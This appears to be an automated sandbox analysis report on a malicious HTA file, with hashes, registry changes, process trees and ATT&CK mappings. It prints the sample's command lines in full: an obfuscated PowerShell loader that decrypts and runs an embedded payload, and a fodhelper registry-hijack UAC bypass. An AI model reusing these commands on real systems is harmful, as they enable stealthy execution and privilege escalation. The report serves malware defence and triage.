511dc76c85bfb8e51a8064aa36cea5294b32c40985c30eb2b940f8bf08a0644f

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
24/04/2024, 03:53

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Report Analysis Logs

General

Target

305bf697e89e6eef59b0beef2b273a1daad174ebec238a67a6e80c5df5fffaf8.hta
Size

73KB
MD5

895ee3f2e0558873611f58c50200946f
SHA1

849030d4496209542fd02e52c2a180d763705755
SHA256

305bf697e89e6eef59b0beef2b273a1daad174ebec238a67a6e80c5df5fffaf8
SHA512

5738259687452334c22ba532e3dcd441c156ba8c87ca4e91a15d2b294bd6ac26b0bc07d4a42b4ef01bbcf886951d1a350bb9b6b298ad089faef266a4444a4fd9
SSDEEP

768:KzGOeG/Nvx8XxydOVsTY5pi37n5wMhRSuDth24/kdikQlRpaU+eh9qVNV+UboV4Z:scyNvaXp6IN+QVFi1G

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	336	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 28 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open\Command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings\CurVer	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open\Command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings\CurVer	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings\CurVer\ = "ServiceHostXGRT"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open\Command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\r.bat"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings\CurVer	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings\CurVer	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open\Command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open\Command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\r.bat"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\MS-Settings\CurVer\ = "ServiceHostXGRT"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open\Command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ServiceHostXGRT\Shell\Open	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2420	powershell.exe
2420	powershell.exe
336	powershell.exe
336	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	336	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 4596 wrote to memory of 2420	4596	mshta.exe	91
PID 4596 wrote to memory of 2420	4596	mshta.exe	91
PID 4596 wrote to memory of 2420	4596	mshta.exe	91
PID 2420 wrote to memory of 336	2420	powershell.exe	93
PID 2420 wrote to memory of 336	2420	powershell.exe	93
PID 2420 wrote to memory of 336	2420	powershell.exe	93
PID 336 wrote to memory of 2400	336	powershell.exe	98
PID 336 wrote to memory of 2400	336	powershell.exe	98
PID 336 wrote to memory of 2400	336	powershell.exe	98
PID 2400 wrote to memory of 908	2400	cmd.exe	99
PID 2400 wrote to memory of 908	2400	cmd.exe	99
PID 2400 wrote to memory of 908	2400	cmd.exe	99
PID 2400 wrote to memory of 404	2400	cmd.exe	100
PID 2400 wrote to memory of 404	2400	cmd.exe	100
PID 2400 wrote to memory of 404	2400	cmd.exe	100
PID 336 wrote to memory of 3404	336	powershell.exe	101
PID 336 wrote to memory of 3404	336	powershell.exe	101
PID 336 wrote to memory of 3404	336	powershell.exe	101
PID 3404 wrote to memory of 1708	3404	cmd.exe	102
PID 3404 wrote to memory of 1708	3404	cmd.exe	102
PID 3404 wrote to memory of 1708	3404	cmd.exe	102
PID 3404 wrote to memory of 3088	3404	cmd.exe	103
PID 3404 wrote to memory of 3088	3404	cmd.exe	103
PID 3404 wrote to memory of 3088	3404	cmd.exe	103
PID 336 wrote to memory of 3856	336	powershell.exe	105
PID 336 wrote to memory of 3856	336	powershell.exe	105
PID 336 wrote to memory of 3856	336	powershell.exe	105
PID 3856 wrote to memory of 2716	3856	cmd.exe	106
PID 3856 wrote to memory of 2716	3856	cmd.exe	106
PID 3856 wrote to memory of 2716	3856	cmd.exe	106
PID 3856 wrote to memory of 116	3856	cmd.exe	107
PID 3856 wrote to memory of 116	3856	cmd.exe	107
PID 3856 wrote to memory of 116	3856	cmd.exe	107
PID 336 wrote to memory of 4896	336	powershell.exe	108
PID 336 wrote to memory of 4896	336	powershell.exe	108
PID 336 wrote to memory of 4896	336	powershell.exe	108
PID 4896 wrote to memory of 392	4896	cmd.exe	109
PID 4896 wrote to memory of 392	4896	cmd.exe	109
PID 4896 wrote to memory of 392	4896	cmd.exe	109
PID 4896 wrote to memory of 5112	4896	cmd.exe	110
PID 4896 wrote to memory of 5112	4896	cmd.exe	110
PID 4896 wrote to memory of 5112	4896	cmd.exe	110

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\305bf697e89e6eef59b0beef2b273a1daad174ebec238a67a6e80c5df5fffaf8.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4596
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $PJAsQqQ = 'AAAAAAAAAAAAAAAAAAAAAE9xNraxk6nXNMEZnNi5un1gwXNzdqqUGCFz/tAl0UIoGIW3c8a5FTgAimWNllMn5MRQXV0f2ndktB+ScJeYrgaw2Zyh3otPRrj8YIGY6nNXDLTeH7i7AhI6B3xnFugy3jnfkIGKhOeqsZrnGRZvutLnhojFApgy0Uos4vB0GLskI0qK+ZAfMpHmZblte5X+dEbJZ0w05+eTEmITMPZG1zxWCgSWe5k5glpGmOK+7NKnbC+1MymC6ErGOSljG69lVYdMG6kWDzd9gGOBCdzWlp+jr7wyZy22P+fuCxrcUKibHRVdmbA2wf+om1beUUAOMRqqay/k40ffqnrlK6Cb0ih//idwGadtUkCZLI5OxNKdUu8gip1uZj/blioEk95UTeMFlSB6BdrGQTQYHbJoFbCl4E5FXMo9Chgc5zsbMh+dt7NG+qoZMnqhvwyWPXjLZY54iYpscKpadktwAdauUKugyzzs3nQKeIb6EPTjij7UxEg0nCb9HRyNqs/BCJW2ww3QBVxFxjL6IS8kD1QuTDDKuKafZGYjJbYAy9UuyB87bLKcNnobqmY/AXwBynbda4hcH/7cKSQgCJQUv1XHZa8+1Igpbz3Fm3Fz4nhelDdSCZoF/ZbLXfx+WL48jAaA7s9pFXDFNPF0pSndIHqSYDXx1xRSiooTiFKHvcEZSGUEtWw86xzh2HsYGqTqnuuTvjxmjuLNDd3AfOtg6s9CzH5cxJCtjdWbDwcIS69ueFhNTHT+KzAgkGo3eCo5xg3JV31KDUQ/6vgxnWJln/jxtrUSC2LzxWiEJZkntNdXQ304JsrzOHEpwPUh9aA5KBC0tqpKpIPtf191r9DOOLQBgv1DPwScSDpL3gh0nu6LdfeQagfdrbU87lBgB44odviSXCG9mF0+gFGFfe8wB7m/ff6ETJCi9gos2Dc2IgUoo7ok+qhGn/8gDowSWv2Tx/NQBmuapTfmPb43dZEAGA0HVF1BU7i4sDzpADXvir69XuIV/kesfDhfa0Y0RQfj0NhLGBe9DI3yzBg87omiD+iMjZNZK1nFAkRJkBAmdyE8mrki7g4cpMmnxJD8a7Kb1RYjgk1EjsPfH1ycKU50lDIct5U=';$cuVhk = 'RVRVd2h4RUJHUWNiTEZpbkN5SXhzUWRHeFN4V053THQ=';$cttmLzkC = New-Object 'System.Security.Cryptography.AesManaged';$cttmLzkC.Mode = [System.Security.Cryptography.CipherMode]::ECB;$cttmLzkC.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$cttmLzkC.BlockSize = 128;$cttmLzkC.KeySize = 256;$cttmLzkC.Key = [System.Convert]::FromBase64String($cuVhk);$HiYKp = [System.Convert]::FromBase64String($PJAsQqQ);$xvAueGsk = $HiYKp[0..15];$cttmLzkC.IV = $xvAueGsk;$rIhTDzTVS = $cttmLzkC.CreateDecryptor();$XwpnnDrAK = $rIhTDzTVS.TransformFinalBlock($HiYKp, 16, $HiYKp.Length - 16);$cttmLzkC.Dispose();$UJFOKyfk = New-Object System.IO.MemoryStream( , $XwpnnDrAK );$lnNgd = New-Object System.IO.MemoryStream;$rHRHvioHs = New-Object System.IO.Compression.GzipStream $UJFOKyfk, ([IO.Compression.CompressionMode]::Decompress);$rHRHvioHs.CopyTo( $lnNgd );$rHRHvioHs.Close();$UJFOKyfk.Close();[byte[]] $aXUoDu = $lnNgd.ToArray();$PKsIu = [System.Text.Encoding]::UTF8.GetString($aXUoDu);$PKsIu | powershell -
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "REG ADD HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command /VE /T REG_SZ /D "%TMP%\r.bat" /F && REG ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "ServiceHostXGRT" /F && FoDHelper.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2400
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command /VE /T REG_SZ /D "C:\Users\Admin\AppData\Local\Temp\r.bat" /F
        5⤵
        Modifies registry class
        
        PID:908
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "ServiceHostXGRT" /F
        5⤵
        Modifies registry class
        
        PID:404
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F && REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3404
    - - C:\Windows\SysWOW64\reg.exe
        
        REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
        5⤵
        Modifies registry class
        
        PID:1708
    - - C:\Windows\SysWOW64\reg.exe
        
        REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F
        5⤵
        Modifies registry class
        
        PID:3088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "REG ADD HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command /VE /T REG_SZ /D "%TMP%\r.bat" /F && REG ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "ServiceHostXGRT" /F && FoDHelper.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3856
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command /VE /T REG_SZ /D "C:\Users\Admin\AppData\Local\Temp\r.bat" /F
        5⤵
        Modifies registry class
        
        PID:2716
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "ServiceHostXGRT" /F
        5⤵
        Modifies registry class
        
        PID:116
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F && REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4896
    - - C:\Windows\SysWOW64\reg.exe
        
        REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
        5⤵
        Modifies registry class
        
        PID:392
    - - C:\Windows\SysWOW64\reg.exe
        
        REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F
        5⤵
        Modifies registry class
        
        PID:5112

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3792 --field-trial-handle=2356,i,13261194862334667799,7441241219475888176,262144 --variations-seed-version /prefetch:8
1⤵
PID:1740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
c580727fc0a7a733ea6a446b67ca63f7

SHA1
ebdd57fca25df0f759dec07c5382d560df7600c2

SHA256
369ef9ccfc9923d44f390840e46cc948796bb79bec86644402608e9a8af80073

SHA512
2a1aba5dfe194d53ce71cafb94d147999968aa0a7e5bd1db069da62ab3e06f475af77c258532647dcb7370f4e12c188b99624fc5a9c7c44f196c98e9d2b12733

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l04l4prf.jbc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/336-23-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/336-47-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/336-40-0x0000000008220000-0x00000000087C4000-memory.dmp

Filesize
5.6MB

Download
memory/336-39-0x00000000070C0000-0x00000000070E2000-memory.dmp

Filesize
136KB

Download
memory/336-38-0x0000000007110000-0x00000000071A6000-memory.dmp

Filesize
600KB

Download
memory/336-37-0x0000000004780000-0x0000000004790000-memory.dmp

Filesize
64KB

Download
memory/336-36-0x0000000006EF0000-0x0000000006F66000-memory.dmp

Filesize
472KB

Download
memory/336-35-0x0000000006D70000-0x0000000006DB4000-memory.dmp

Filesize
272KB

Download
memory/336-25-0x0000000004780000-0x0000000004790000-memory.dmp

Filesize
64KB

Download
memory/336-24-0x0000000004780000-0x0000000004790000-memory.dmp

Filesize
64KB

Download
memory/2420-7-0x0000000005F10000-0x0000000005F76000-memory.dmp

Filesize
408KB

Download
memory/2420-0-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/2420-22-0x0000000006B10000-0x0000000006B2A000-memory.dmp

Filesize
104KB

Download
memory/2420-20-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/2420-19-0x00000000066A0000-0x00000000066EC000-memory.dmp

Filesize
304KB

Download
memory/2420-18-0x00000000065F0000-0x000000000660E000-memory.dmp

Filesize
120KB

Download
memory/2420-17-0x00000000060C0000-0x0000000006414000-memory.dmp

Filesize
3.3MB

Download
memory/2420-21-0x0000000007D40000-0x00000000083BA000-memory.dmp

Filesize
6.5MB

Download
memory/2420-6-0x0000000005EA0000-0x0000000005F06000-memory.dmp

Filesize
408KB

Download
memory/2420-5-0x0000000005580000-0x00000000055A2000-memory.dmp

Filesize
136KB

Download
memory/2420-4-0x0000000005800000-0x0000000005E28000-memory.dmp

Filesize
6.2MB

Download
memory/2420-3-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/2420-44-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/2420-2-0x0000000002F70000-0x0000000002FA6000-memory.dmp

Filesize
216KB

Download
memory/2420-1-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/2420-50-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download